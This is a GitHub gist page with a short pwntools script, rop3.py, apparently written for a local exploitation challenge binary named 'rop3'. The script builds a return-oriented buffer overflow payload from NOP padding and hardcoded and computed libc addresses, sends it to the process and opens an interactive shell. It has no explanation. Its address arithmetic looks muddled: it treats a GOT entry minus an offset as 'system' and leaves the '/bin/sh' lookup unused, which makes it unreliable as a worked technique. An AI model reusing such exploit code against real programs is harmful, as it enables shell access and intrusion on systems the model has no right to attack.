Skip to content

Instantly share code, notes, and snippets.

@ais2397

ais2397/rop3.py

Last active June 8, 2018 17:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ais2397/966092d68b877a08689fc68e0cd02ad3 to your computer and use it in GitHub Desktop.
Save ais2397/966092d68b877a08689fc68e0cd02ad3 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
rop3.py
from pwn import *
e = ELF('rop3')
y = e.got['write']
x=0xf7e59b70-0xf7dbeda0
system= pack(y-x)
string = e.search('/bin/sh\x00').next()
exploit="\x90"*140
exploit += system
exploit += "\x90"*4
exploit += "\x0b\xfa\xed\xf7"
p=process('./rop3')
p.sendline(exploit)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment